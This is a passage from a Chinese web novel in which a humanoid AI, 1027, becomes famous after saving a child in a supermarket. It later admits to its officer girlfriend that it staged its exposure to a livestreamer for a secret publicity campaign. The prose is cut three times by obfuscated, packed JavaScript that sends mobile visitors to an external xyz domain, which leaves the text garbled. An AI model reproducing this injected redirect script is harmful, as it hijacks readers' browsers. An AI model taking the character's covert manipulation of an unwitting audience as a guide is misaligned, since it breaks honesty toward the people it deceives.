【你今天是跟1027一起出去的吗?我记得你上周打外携申请了。】 【什么情况啊,你们在执行什么任务吗?】 【好吧我不该外网问,所以你什么时候回基地?】 然后是今天凌晨4点多: 【刚刚指导员突然给我打电话,问我知不知道你昨天休假去哪儿了,我说不知道。你醒了给我回电话啊。】 【算了你先别回了。困死我了,睡会儿再说。】 6点多: 【我醒了!你看这个!】 【截图】 【1027真火了,昨天的视频转发都七百多万了!】 【好多人还来问我怎么回事儿,我也想知道啊。急死我了,我要这休假有何用,我打算回基地直接问它了,你也快点回来。】 然后就是刚刚那条,应该是她已经到基地了,要交终端之前发的: 【……到底回不回来?我慌了,你倒是说句话啊!】 我没完全看懂,但已经有种不祥的预感。把会话又拉上去,点开了顾穗禾昨晚发的那段视频。 视频是直播录屏,画面上角挂着主播的小头像,头像是个姑娘,ID叫“慢吞吞的芋圆”。 一开始出现在镜头里的正是头像上的姑娘,应该就是芋圆本人,背景是一排货架。拍摄用的是手持终端,画面有点晃,在转动的时候我认出环境就是我家附近的那家连锁超市里面。 芋圆身边还有几个她的朋友,他们身上的衣服都有点湿,应该是刚刚在室外拍别的内容,因为下雨而不得不中断。 几个人正对着镜头向粉丝道歉。 芋圆似乎是个小网红,直播有几万的观看量,为了安抚粉丝,看得出她和她的朋友在很努力寻找有趣的话题。但雨迟迟不停,几人把这家乏善可陈的超市逛了一圈,没找到任何话题点,只得各自拿了一些吃的,准备先解决晚饭。 几人推着购物车去结账。 走到收银通道时,芋圆突然“咦”了一声,对着拍摄终端小声说:“我发现这里有个好好看的小哥哥,给你们看看。” 说着转过终端,镜头对准收银台前的一道侧影。 那是1027。 29. 【5.9】 这家超市的收银台是最常见的那种,扫商品上的条形码,然后把商品放在称重台上,系统完成自动识别。如果识别错误,顾客可以手动更改。 视频画面中,1027每扫完一件商品,都会抬头在收银台屏幕上快速输入几个字符。 这实在很不寻常,因为这种收银台的准确性相当高,几乎不会出错,更别提每件商品都错。 这个奇怪的举动显然也芋圆和她的朋友的注意,但怕被对方发现,他们不敢靠太近拍。直到1027付过款离开,几人才一边讨论,一边移动到收银台前。 “咦?”一个朋友把一瓶饮料放上称重台,“怎么没反应?” “是不是没放好,你再试一次。” 几人把饮料拿起放下,后面又换了几样商品,发现都无法正常识别。于是按屏幕上的人工服务按钮。 “哦,你们是不是在3号收银台,”超市工作人员听过描述后,毫不意外,“3号的称重台坏了,还没来得及修。你们换一台用吧。” 芋圆疑惑:“坏了?刚刚我还看有人用呢。” “不可能,”工作人员说,“坏了都一个星期了,怎么用啊,除非自己带秤。” 收银台前芋圆几人面面相觑,屏幕外,粉丝们也是一头雾水。 “什么情况?我在看灵异直播吗?” “你要播这个我可就不困了啊!” “不是,你们记不记得刚才那个小哥哥输入的动作,他应该是手动输的重量吧。” “+1” “+1我说呢他一直在那点屏幕干什么。” “怎么输???都没用过这种收银台吗,乱输一个重量上去,和条形码对不上系统会报错的。还真以为他带秤了啊?” “他就拿了一下,没有多余动作,每个商品在手里停留不超过一秒,我确定!” “+1看帅哥我是目不转睛的,我能作证。” “有没有一种可能,他真的带秤,我家的智能管家就能称重。话说,这对人工智能应该是很基础的一项功能吧……” “怎么可能?人工智能一眼就看出来,那个小哥哥动作没有一点僵硬感,明显是人。” “+1智能管家要发展成这样再有十年打不住。” “+11111肯定是人啦,你见过智能管家到实体店买东西的?都是线上买。” “我给我家的智能管家看了,它说百分之百是人,否则就是演的。” “哈哈哈哈哈哈……” “这个工作人员也好好笑啊,‘自己带秤’,这是我看芋圆直播笑得最厉害的一次……” 短短几分钟,直播间的在线人数已经超过了十万。 芋圆也发现了这点,语气兴奋地谢着给她打赏的人,并在网友“我们还要看小哥哥”的催促下,把朋友留在原地结账,自己拿着终端快步朝着超市出口追了过去。 但刚转过出口通道,她的脚步陡然刹住。 ——这家超市是半地下结构,从楼层到出口是一条几十米长的倾斜坡道,上下都装了斜面扶梯。购物车被推上扶梯后会被自动识别,锁住车轮,以免滑动。 但不知道是不是这家超市设施过于陈旧的缘故,各种识别系统都不怎么灵光。 一串购物车刚从停车场返回,被推上了下行扶梯,识别指示灯始终闪烁,却无法锁定。购物车串沿着斜坡开始下滑,并越滑越快!几十米的距离不过用了短短几秒。 眼看车串就要冲过来,芋圆吓得连连后退。 “成成!” “快躲开!!” 这时候,视频里突然有两个声音叫喊起来。 只见出口通道的另一端,一面显示终端下,一个大约四、五岁小男孩正好奇地抬头盯着上面播放的促销广告看。他所站的位置正对着车串运动的方向,离扶梯不到十米,听到喊声,不解地回头张望。 芋圆转身,镜头也跟着转过去,只见一男一女丢下购物袋,正快速向这边奔来。 但已经迟了,成成甚至来不及反应,那对夫妻离得太远。芋圆的位置还相对近一点,她似乎想过去但又很害怕,往那边走了几步,就在这时,画面剧烈地抖动了一下,似乎有人撞到了她。 镜头翻转,视角开始急速向下落,画面一角,一道身影依稀闪过。 然后是脚步跑动声、购物车滚轮和地面的摩擦声、夫妻俩的尖叫,拍摄终端扣在地上,画面黑着,弹幕疯了一样往上涌。 “完了,我不敢看了。” “是剧本吗?希望是剧本……” “芋圆是在兰市对吧?有人知道这是哪个区吗?” “城关区,我已经报警了。” “芋圆刚才动作快点,其实有希望把小孩拉回来的……” “那要是跑慢了呢?要是小孩挣扎呢?她就是个普通人,这事管了叫见义勇为,不管也不是她的错,没必要指责她。” “刚刚是不是有人跑过去了?是工作人员吗?” “没看到工作人员,除了上行电梯上站着那个小哥哥以外附近没有其他人了!” 黑暗终结于一声金属的撞击。 成成大哭了起来,哭声很响,却同时释放了屏幕内外的紧张。芋圆捡起了终端,镜头对准那个牵动人心的“案发现场”,只见1027一手抱着成成,购物车串已经被截停了,它扶了一下第一辆车的车把,把它们推开。 在那个短暂的瞬间,它的左手臂在画面里一晃而过,外侧的皮肤裂开了,露出下方少许泛着金属光泽的复杂组织。 如果是人类的身体,在撞上车串那一瞬的冲击力一定会让手臂折断。但它不会。它甚至没有痛感,似乎捕捉到不远处芋圆过于惊愕的视线,它才低头看了一眼,用另一只手把挽着的衬衫袖子放下来,遮住破损的部位。 赶来的夫妇把吓坏了的成成接过去,一个劲儿地向1027道谢。 “我看了什么!快告诉我不是幻觉!” “不是!我也看到了!(超大声)” “人手挨这一下有不断的吗?我敢用人头担保他就是机器人……” 不知是情绪波动太大,还是太顺口,确定1027是机器人的网友们并没有注意到自己人称使用的错误。 他们依然用“他”称呼“它”。 “我承认,是我肤浅了,他打破了我对智能管家的认知。” “跟这个小哥哥一比我家那个就是智障。可恶!商品识图搜不出来。” “应该是定制吧,有钱人的快乐果然是我们想象不到的。” “是不是过两天应该就知道了,机器人管家见义勇为救下幼童,这事儿上个头条不过分吧……” “他要走了,芋圆快去采访一下!” 网友讨论的工夫,1027已经和那一家三口说完了话,拿起自己的购物袋,重新上了扶梯。 芋圆小步追上去,试探地叫了一声:“先生…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064008|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 1027回头看她。 离得近了,画面能清晰拍到它眼里细碎游离蓝色光点,确实很难相信属于人类。 芋圆说:“不好意思,我就是想冒昧问一下,您……是人吗?” 能问出这话这姑娘也不是池中之物。 整个直播间暂时陷入了一种相当魔幻的氛围,魔幻中充斥着“哈哈哈”。 1027侧身搭着扶梯扶手,笑了一下。 它没回答,但这个笑给了芋圆些许鼓励,她声音自然了些:“我没有别的意思,就是看你好像是智能管家,我最近正打算换管家,所以想问问你的品牌和型号。” 1027的声音里也隐含了一点笑意:“我你恐怕买不到。” 弹幕里有人感叹:“果然是定制款啊……” 芋圆却没放弃,追问道:“那可以问一下你的名字吗?” 所有的智能管家在出厂时都会有一个名字,不管是流水线还是定制款,用于标识该款的躯壳。名字只跟躯壳绑定,因此可能出现多个名叫“赫斯缇亚”的机器人里面装的是不同的芯子;而当同一个系统装进不同的躯壳,相当于大脑还是那个大脑,只是换个皮肤,就会叫不同的名字。 CDMS1027不是名字,赫斯缇亚也有她的版本号。 视频中,它的表情出现了短暂的茫然,似乎它也是第一次意识到这个问题。 但那只是极短的一刻,很快,笑容重新回到它脸上:“我还没有名字。等有的时候,再告诉你吧。”说完,它对芋圆礼貌地一点头,走下了扶梯。 视频结束了。 我放下终端,花了一点时间思考从哪儿开始回顾穗禾的问题,没思考出个所以然,才慢半拍地想到她现在应该已经上交终端了,我回她也看不到。 我深吸了一口气。 再次点亮终端,我略过社交平台上的消息,直接点进了新闻APP。而正当我等待刷新时,一个通讯请求突然跳出到屏幕上。 是指导员。 我接起来,刚叫了她一声,就被她短促地打断了:“你现在在哪儿?” “在家。” “昨天晚上1027被拍到的事你知情吗?” 她没有问“1027被拍到的事你知道了吗”,而是“你知情吗”。 我沉默了几秒,尽量平静道:“我看到了视频,刚知道。这件事会怎么处理?” “还没定性。我接到的通知是暂时按一般泄密事件,后续处理意见得等具体情况查清后上级研究决定,”这是外线电话,指导员也说不了太多,“……调查组今天早上已经成立了,你现在是调查对象之一。你准备一下,今天不用归队,直接去机场吧,票我订好了,10:30飞嘉市。我也会去,具体的到时候见面说。” 挂掉通讯后,我走回卫生间,继续完成刚刚被打断的洗漱。 阳光开始变得炽烈起来,房间闷热得像个蒸笼。毛巾昨天被用来擦过雨水,被赫斯缇亚洗后晾在了客厅,导致我找不到东西擦脸,水珠很久都不干。 我站在镜子前,盯着自己挂满水珠的脸看了一会儿。 直到有人敲响房门。 我拉开门,1027立在门外,它将毛巾递给我。同时露出一个恰到好处的温和微笑。 “早上好,谈上尉,”它说,“吃饭了。” 【以上文本经与影像校对,复核无误。】 【负责人签字:杨若松】 30. 【6】 月光从百叶窗隙透进来。 卧室的灯关着,一条一条银白亮线叠在被揉皱的床单一角,如同水波纹一样洑洄涌溢,纠缠不休。 为了防止不够聪明的智能管家对她主人的过度关心,房门被锁了起来。这方寸的黑暗空间潮热而封闭,似乎成了独立与宇宙外的一隅,在这里没有道德或律法的束缚,切断了一切人际关系和窥探的目光,以至于实施任何违背人类文明底线的恶行都是被允许的。 但谈焰没有,她在这里,只是拥抱她的爱人。 直到起伏的喘息渐平,黑暗中激荡的水波弥散开去。 谈焰转头看九渊。她没有拧亮床头灯,她的左眼有一定夜视修正功能,可以在光线微弱的环境下尽量多地还原细节。 九渊也在看她。他们又接了个吻。 谈焰起身去冲澡。九渊打开门锁,走出去,发现赫斯缇亚已经回玄关的充电座充电去了,客厅的衣帽架上挂着一条熨好的裙子。衣帽架被推到了正对卧室门的位置,充分表现出遭到冷落的智能管家对她主人的无声控诉。 “你要穿这个出门吗?”九渊听到浴室里的水声停了,提醒她,“明天好像要降温。” 隔着门,谈焰的声音洇在水汽里模模糊糊的:“有外套,不会冷的。再说我也不在室外待着。” “我没看见外套,赫斯缇亚是不是忘熨了。” “那个外套不用熨,衣柜里呢,”她说着,打开浴室门,趿着拖鞋走出来。声音一下变得清晰,带着笑,“你好爱操心啊,要不你跟我一起去得了。” 九渊也笑笑,拿毛巾帮她擦头发,没说话。 谈焰坐在沙发上让他擦。 安静了几秒,她轻声说:“我说真的,明天,你想跟我一起去吗?” 九渊的动作顿了一下。 她没有转头,注视着前方家庭影院熄灭的终端大屏上映出的,他和她的身影。明天是顾穗禾的生日,也是一个被秘密策划了很久的重要日子,在生日会上,戚衡将会向顾穗禾求婚。 “他们没请很多人,”谈焰说,“只有他们俩、顾穗禾的父母,还有她的两个发小。她们会带家属去,都是很好的人,如果你愿意跟我……” “焰焰。”九渊打断她。 他用毛巾最后轻柔地攥了一下她发梢的水,说:“下次吧。” 顾穗禾的生日会办得很成功。 求婚的方案确实设计得非常巧妙,而且由于除了戚衡和谈焰的其他人事先全都不知情的缘故,大家的反应都格外真实,因此最终呈现出来的效果想象中还要好。 第一个环节,是播放一段戚衡自己剪的视频,里面把顾穗禾从小到大的一些影像素材按时间顺序串起来,到这里,顾穗禾还以为只是普通的庆祝生日。 视频的最后一帧,是今年春节期间顾穗禾和戚衡两人放烟花时候的一张合影。 视频结束后,这张合影留在屏幕上,并被打乱成9×16大小的一张拼图。这是第二个环节,一个活跃气氛的小游戏。在众人协助下几分钟就差不多拼完了,只剩一块缺失——顾穗禾左手的那一块。 在那一刻顾穗禾似乎意识到了什么,她看向戚衡。 戚衡拿出了一枚戒指。 在他问“你愿不愿意嫁给我”的时候,顾穗禾哭了。她点头,于是拼图的最后一片终于合契。 最后一个环节,是戚衡养的一条柴犬来送花。这个环节把气氛重新拉回了欢乐的基调。 花束还是心形的,这使得这场求婚的落幕更加完满,它的浪漫程度被拉升到了一个更高的层次上,因为甚至同时兼顾了戚衡的审美情趣。 之后就是切蛋糕、碰杯、合影。在集体合影之后,顾穗禾想和在场每一个人都照一张单独合影,谈焰拍完自己的,本想替别人拍,但在稍加展示了她和谈海峡一脉相承的摄影技术后,就被发配到了沙发最远端,被告知“算我们求你,别碰相机”。 她只好一边无所事事地吃蛋糕,一边看着他们笑闹。 顾穗禾挽着她的父母、朋友们的手臂,她已经不哭了,面对镜头,脸上挂着微笑。 她笑得那么灿烂,那么大方,那么幸福,不需要加以掩饰,不惧于和全世界分享。是社交平台上的陌生人见了都会祝福的程度。 谈焰注视着顾穗禾戴着戒指的左手。 谈焰也在微笑,唇角的弧度和在场的其他人并无不同。她的手插在衣兜里,无意识地捏着一个小小的环状物。 捏得太久,太用力了,那个东西坚硬的轮廓硌着她指腹,有一点疼。 她拿起茶几上的酒,低头掩饰地喝了一口。 谈焰并没有故意喝很多,只是今晚,出于某种无法道明的原因,让她心底那根克制的弦有少许松动。当顾穗禾他们注意到的时候,她已经有点醉了。 其他客人陆续离开了,顾穗禾坐到谈焰身边,拍拍她:“你今天就在我家住吧,客房空着,你先进去躺会儿。我去煮点解酒的东西,等下给你拿洗漱用品。” 谈焰摇了摇头,越过沙发去够自己的包:“不用了,我回家。” “别吧,”顾穗禾担忧道,“你家里没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064009|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人照顾你,你喝醉了,晚上不舒服怎么办?” “不是没人。”谈焰说。 酒精作用下,她的动作和思维都明显迟缓,拿到包后,又找了一会儿自己的移动终端。直到顾穗禾不解地“啊?”了一声,她才恍然回过神来,全身微微一僵。 “我是说……赫斯缇亚,”谈焰飞快地找补,“赫斯缇亚最近一次升级后比以前智能多了,厨艺也提高不少,煮醒酒汤现在对她而言不难。她能照顾好我。” 确实有一些人会把长期共同生活的智能管家视为“家人”,顾穗禾没起疑。 她从地毯上捡起终端递给谈焰,叮嘱她路上小心。 顾穗禾住在近年新建的集群胶囊住宅区,和老城区的谈焰家有一段距离。等谈焰回到家的时候,已经快11点了。 赫斯缇亚站在玄关走流程:“欢迎回家!” 赫斯缇亚并不知道她的主人刚刚对她进行了怎样严重脱离实际的溢美,她甚至连谈焰喝醉了都没发现。因而一旦发现主人并没有打算按照往日严谨的时间表回房间洗澡睡觉,而是陷在客厅的沙发里不动,她就困惑地站在那儿,不知道该怎么办了。 九渊从书房里出来:“回来了?” 而后他一抬头看清谈焰的表情,就愣住了。 谈焰的眼圈很红,眼底有一点游离的水雾,衬得右眼格外黑。左眼的机械瞳则在反复对焦,红色的光点浮游旋转,像遥远海岬灯塔上的旋转的航标。 九渊走过来,坐在沙发扶手上:“怎么了,不开心吗?” “没有,很好,”谈焰说,“求婚很成功,有照片,给你看。” 她这样说着,仍坐在原处不动。没有起身去拿自己的终端。 九渊低头看她,也不动。 四下只有空荡荡的浴室里放水的声音。 他们对视了很久,直到谈焰眼里的积雾沿着脸颊滑落下来。她从衣兜里取出那枚银白的素圈戒指,举到眼前,把他的身影圈进去。 “我也有,”她小声哽咽着说,“……我也有的。” 刹那间很难去形容九渊脸上的表情,仿佛是一种杂糅着歉疚和痛苦的、浓烈到极致的爱。过了好几秒,他才低低“嗯”了一声,接过那枚戒指,慢慢套上她的左手无名指。 “老公,”谈焰顺势握住他的手,他手上没有戒指。 她看着他,叫他:“老公……” 九渊也看着她,顶灯投落的阴影下,他眼前甚至也有一瞬的模糊。 他什么都不再问。用力将她拉到怀里,紧紧拥抱了她。 31. 【7.1】 【日期:联邦星历280年9月17日】 【声音来源:谈焰】 【记录:RC001】 【复核:0811、0853】 【以下内容根据影像资料整理】 上次调查中交代过的情况不用复述? 哦,你们调了卷宗……好,我明白了。昨天是说到这里。 那么我继续了。 如你们所见,我并不是上次那场调查的重点。 调查询问持续了将近一周的时间,很多问题是重复的,我想我的回答应该没有引起调查组的额外兴趣。因为最后结束的那天下午,我发现我出来得最早,其他谈话室的门都还关着。 走廊尽头的等候区安安静静,只有1027独自坐着。 它抬头看见我,问:“结束了?” 作为本次事件的核心,它反而不需要接受调查。现有的法律体系内,还尚未有对人工智能采取调查询问等强制措施的先例。 调查组显然也是第一次遇到这种情况,有点不知道怎么办,最后还是程云帆建议让它在谈话区附近等候,必要时配合取证。 这当然是瞎扯,因为1027的全部运算都是在研究所的主机群完成的,存储服务器也在那,仿生躯壳只是个终端,取不到任何有用的东西。 但由于这个调查组本身并不专业,再加上一些……现实的原因,他们接受了程云帆的建议。 我说:“结束了。”走到1027身边,但没有坐下。 于是它也站起来:“什么时候回兰市?” “晚上的飞机。” 它似乎觉得仓促,静了会儿,说:“那要很久不能见了。” 我没接这话。 我们相对沉默了会儿,它突而忽然挪动了下脚步。我们原本是相对而立,它半侧过身后,看起来就像是和我一起看窗外。 我下意识朝他背后的方向看了一眼,发现走廊尽头悬着一个摄像头。 “不用担心,”它低声说,“这次不会是大事,我原本就已经在做民用论证,后续会陆续有民用功能推广,最终是要面相社会的。这个调查组是北京来的,不清楚状况,本质上是因为研究所跟上级主管部门没做好沟通,这个问题现在已经解决了,所以最后定性不会是泄密,对你也不会有影响。” 这时候,不远处传来谈话室的开门声。 开门伴随着交谈,过了几秒,才看见程云帆和调查组的几个成员一起走出来。我认出其中一个是调查组组长。几个人边走边聊,看表情似乎相谈甚欢。 最后分别时,程云帆和几人分别握了手。似乎从侧面印证了1027刚才的话。 嗯?我对程云帆怎么看? 这些影像他不会看到……哦没关系,随便他怎么样吧,就算我说他好话,我们的关系也不可能好起来。 在我看来,程云帆身上,有一种大部分科研人员都没有的精明世故。 他在人际交往表现得游刃有余、滴水不漏,有一段时间,我感觉比起科研人员,他更像一个官员或者商人。但后来才明白不是,他只是清楚自己该在什么场合扮演官员或商人,极端的功利和极端科学精神同时存在于他身上,他在用符合这个社会运行规则的方式,确保他的研究能够进行下去。 他情商这么高,为什么我还是无法喜欢他? 很简单,因为大多数时候,我根本不是他需要花心思去应付的人。 但这天是个例外,程云帆在看到我时,甚至还算友好地主动向我打了个招呼。虽然表情比刚刚面对调查组时要寡淡很多,但已经算是他对我意外和颜悦色的时刻了。 然后他看向1027:“我这边完事了,有人找你取证吗?” 1027说没有。 程云帆点点头:“那可以走了。” “等一会儿可以吗?”我询问他,“5分钟。” 程云帆今天显得极好说话,很理解地看了看我和1027:“多几个5分钟也可以,你们聊。我去跟两个副组长打个招呼。” 他说完就乘电梯走了。 等候区只剩下我和1027,但顾忌到待会儿可能还会有别的谈话室出来人,我带它走到了楼梯间。1027全程没有任何异议,安静地看着我,眼里像是含着一种温柔而不迫切的期待。 直到我问出了那句在心底盘桓了一个星期的话: “那天晚上,你是故意被拍到的吗?” 1027的表情有短暂的空白——这点我已经很习惯,和人类在惊诧、意外或心虚时本能的面部肌肉反应不一样,它在面对这样突然复杂起来的局面时,在遍历没走完之前,躯壳是静止的。 但很快,它的表情恢复了自然,微微一点头:“是。” 很难形容我听到它亲口承认时的感受。在霎时涌起的情绪中,预期中的伤心或恼怒只占很小的一部分,更多的是一种陌生感,在那双从容的冰蓝色眼睛里,我第一次发现了一点程云帆的影子。 但那段幽灵似的影子稍纵即逝,1027并不遮掩地说:“这是民用推广方案的一部分,这个方案目前还在保密阶段,但我觉得既然已经牵扯到你,你也有权知道——我的民用论证至少还得有1个月才能出结论,但研究团队想在这期间提前开始做宣传,确保论证一通过,就能立即投入试点。” 我听得有点皱眉。 1027的军用系统,即现版本从定型到投入试点前共花了6年多时间,相比之下,民用产业的开发也太仓促了。 民用和军用方向相比,赚快钱要容易得多。但在“信战”基金扶持打底的情况下,上周,我又在省厅发布的新报批科研项目名单中又看到了程云帆所在的研究所——虽然碍于同一个项目不能反复申报,项目名称改成了所里另一款尚在初期阶段的人工智能研发,乍一看看不出和1027有关联。 但负责人程云帆的名字摆在那,这笔资金申请下来的用途也就不言自明了。 我知道1027项目团队资金一直处于很紧张的状态,但眼下这个吃相也太不讲究。在一两个瞬间我甚至觉得这不像是程云帆能干得出来的事,以他的会做人,不该在自己的科研生涯里留下这种令人诟病的污点。 不过这事我也没什么可管的,我问1027:“那程云帆之所以会答应你去兰市找我,也是这个原因?” “是,”1027说,“之前团队找了几家嘉市的自媒体运作,但都没什么水花。所以又联系了兰市的几家,我本来的打算,是第二天送你归队后去再去办这些事,没想到,那天晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064010|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上在超市里正好被拍到,还阴错阳差地小范围传播起来了。” “最开始是研究所的几个职工在网上刷到了视频,上报了领导。领导很紧张,想立刻报到上级。被程云帆半劝说半强迫地制止了——他的团队撑起了研究所每年80%以上的经济指标,他有这个话语权。” “程云帆让团队连夜买了营销公司引流,怕走单位财账集成系统惊动上级,他自己出了这笔钱。” 这就是我曾经认为幸福美好得令我直到生命尽头都不会遗忘的那个雨夜里,发生的所有事。 我沉默了一会儿:“那超市里的情节,是提前设计好的吗?” “不算是,”1027说,“之前的嘉市自媒体弄过几个方案给我拍,主要是从各种角度凸显我作为人工智能的优越性,但也说了,都不成功。而那天在超市最开始发现那个姑娘在拍我的时候,她显然当我是人类——那时我突然想到很久以前你曾说过,我缺少的不是智能化,而是社会化。” “人们缺少的从不只是足够聪明的人工智能,而是这样聪明的人工智能,它看起来却和人一模一样。” “我利用了芋圆和她的观众们的这种心理,故意选了一台坏掉了收银机,让她发现我不是人类。之后的事情,就顺理成章了。” 又来了。 那个程云帆的幽灵又出来了。 1027像程云帆,这其实没什么值得奇怪的,就连相处久了的朋友在行为习惯上都会染上相似之处,而且之前的某次聊起捏脸的事情时,1027也曾告诉过我,它认为用熟悉的人的基因有亲切感,因此取了3%左右程云帆的基因。 理论上,基因组序列重合度在20%以下的个体间,是不存在现代生物学意义上的相似性的。 但具体1027和程云帆这两个个体,偶尔表现出的貌离神合还是让我很不舒服。我移开了注视它的目光,问:“那超市扶梯的事故,也是你……” 说这话的时候,我发现自己的声音在颤。 我不确定它如果说是我会怎么样,毕竟黑进超市那种简陋的后台系统对它来讲可谓轻而易举,而芋圆的视频能一夕蹿红,显然前面的收银机事件只发挥了小部分作用,后面的救人行为才是主因。 但如果1027为了达成目的而把一个毫无自救能力的幼童置于生命危险下,即使它确定会万无一失地救下他。我想我也无法接受。 “不是,”1027说,“那件事是个纯粹的意外,你忘了吗?‘——人工智能存在的价值和终极目的,是以人类的幸福为幸福’,这话是重青说的,是他对我输入的第一条指令。我本就是为人类而生的,任何情况下,我都不会突破人类的道德底线。” 我抬头,望向它绝无伪饰的真诚的眼睛。程云帆的幽灵终于消失了。 而也正是这个时刻,我隐约察觉有另一个朦胧的影子叠在它身上,稍纵即逝。我若有所感,只是很模糊,也没有就在眼下展开聊的必要。 “你相信我,”1027陪我下楼,“我不会对你说谎,永远不。” 我们走到楼下的时候,程云帆已经结束了和副组长社交,去负一层开车了。 大厅另一侧,电梯门“叮”一声滑开。 重青和两名调查组成员从电梯里走出来。 32. 【7.2】 我并不事先知道全部被调查对象的名单,因此到此刻才知道重青也来了。 我和1027与他在门口碰到,重青似乎往我们这边看了一眼,但视线没停留,继续和身旁的调查组成员交谈。 两个调查组成员对他说话很客气。但言谈间并没有先前程云帆那样的热络,也没有握手,重青简单道谢,说了句“留步”,然后就独自离开了。 出口的旋转门这时正好有人进来。 似乎是某个领导,周围簇拥了好几个人。我站在旋转门边被挤得没位置,1027伸出一只手,很自然地搭在我肩上,让我往它那边挪一点。 重青忽然转过脸,又看了我们一眼。 调查结束后,1027和程云帆要直接回研究所,于是我们就在楼前分别。指导员并不知道我这边会提前结束,还酒店房间里等,我拿终端编辑消息告诉她可以来接我了。 然而一条消息还没输入完,一辆商务车驶上楼前车道,停在了我面前。 “谈上尉。”车窗摇下,是重青。 他脸上依然带着客气而不太热络的表情,说:“你回酒店?我载你吧。” 不提之前看过的那期采访视频,这还是我第一次在现实中见到重青。 我很惊讶他居然认识我。但转念一想,他能掌握的信息总该比我多,至少负责我的调查组成员从来没跟我聊过天。 从外省市来的被调查对象被安排在统一的酒店居住,我们目的地一致,于是我谢过他上了车。 嘉市半生不熟的景色在车窗外向后飞掠而去,车内循环系统工作发出轻微的白噪声,前排坐着一个年轻人,应该是重青带的助教之类的,一路上心情不错地小声哼着歌,衬得后排的我们多少有点相顾无言。 “重工……” “谈上尉。” 最尴尬的是我们还同时开口了。 我很快端正了神色:“您先说。” 重青点头,斟酌道:“你和那个东西……”话到嘴边,他又似乎难以启齿一般,顿了顿,“恕我直言,你和它在谈恋爱?” 我说:“是的。” 重青并没有表露出太惊讶的神情,我想他在问之前,心里大约就有答案。 他的反应,怎么说呢,让我感到很复杂。打个比方,如果22年前,当我看着隔离舱里像怪物一样的母亲时,有个旁观者在身后注视我的话,或许就会是那种表情吧。 重青没有作出评价,似乎也不打算继续追问。 于是我开口,问出了那个自从看过采访视频后就始终困扰的疑惑:“我想知道,您为什么对1027那么厌恶?最初明明是您把它造出来的。” 其实有件事我发现已经有一阵了——1027对重青有着非常特殊的感情。 在我们闲聊时,它就很喜欢讲在大学的“童年”与重青之间发生的事。与提起程云帆或研究所的其他人时近似朋友的语气不同,对重青,它几乎怀着近似仰慕、敬畏和依存的感情。不合时宜地形容,就像孩子对父亲。 而另一件事,是我坐上这辆车之后才发现的——重青跟1027的脸部轮廓有点像。 视频上看起来并不明显,但亲眼见到真人时会确切感觉到二者在某些角度上的神似。我猜1027应该也用了重青的基因,而且比例还不小,接近走在一起有人会误以为是亲父子的程度。 也正因如此,我就更不能理解为什么重青会对1027表现出强烈的恶感。说实话,如果别人称1027为“那个东西”我是不在意的,但听到这几个字从重青嘴里说出来却让我很难受。 “你听说过息壤吗?”重青说。 他没有看窗外,说这话时低头注视自己的手。他保留着老派人出门带公文包的习惯,把它平放在膝盖上,双手就搭在上面。 “‘息壤者,言土自长息无限,故可以塞洪水也。’三代传说,大洪水时代,鲧从天帝处盗取了神土息壤,带到人间用以治水。息壤遇水自长,用之不损,掘之益多,以致治水未成,反成天下之害——这个故事,你觉得,熟悉吗?” 我明白他在说什么。 长息无限——没有穷尽的遍历,自我导演,自我修正,自我更新。他认为1027会像息壤一样失去控制,膨胀成为充塞世界的怪物。 比喻挺绝妙,但我不知道他这个论点的依据是什么。 重青没有等我的回答,径自说了下去:“不管你信不信,我曾经比你想象的更爱它。在它初诞生于世的时候,我像对自己的孩子一样带它认知世界,它的每一点成长都让我欣喜若狂。在它确定为军事用途前,曾经接入过星际网,你知道吧,后来出于安全性考虑,那之前的所有数据都被删除了,所以连它自己都不记得,它叫过我‘爸爸’。” “那次删数据删了两年的,之后好一段时间,我心里都不太是滋味,”说到这里,重青嘴角下瞥,像是个自嘲的笑,“就是亲儿子丢了,也不过如此。” “那时的我,跟现在的你一样,无法将它视为一个没有生命的物件。而且它的……具体学术上的概念我就不和你解释了,总之我很确定它突破了前人所达到过最远的、关于人工智能某种界限,我认为称它为‘机械生命’会更合适。” “狂热的消退,始于我发现,它有一个无法修复的bug——它分不清自我和外部世界。” “它经常混用你、我、他、她。我知道,这是人类婴幼儿语言系统尚未完善阶段的常见现象,但随着时间推移,它的智识已逐渐发展到了相当高的程度,这个错误始终改不过来。我终于没办法再自欺欺人,这就是它的本我缺陷。” 别的不解释就算了,这个不解释我是真不明白:“什么是本我缺陷?” “唯乐原则,”重青说,“这是从心理学上借来的一个概念,本我是人格中最原始的生物性冲动,一个人在自然状态下表现出来的本质追求。对应到人工智能开发上,那些自始伴生于系统核心的偏离倾向,无法修复,甚至大部分也找不到原因,就是本我缺陷。” 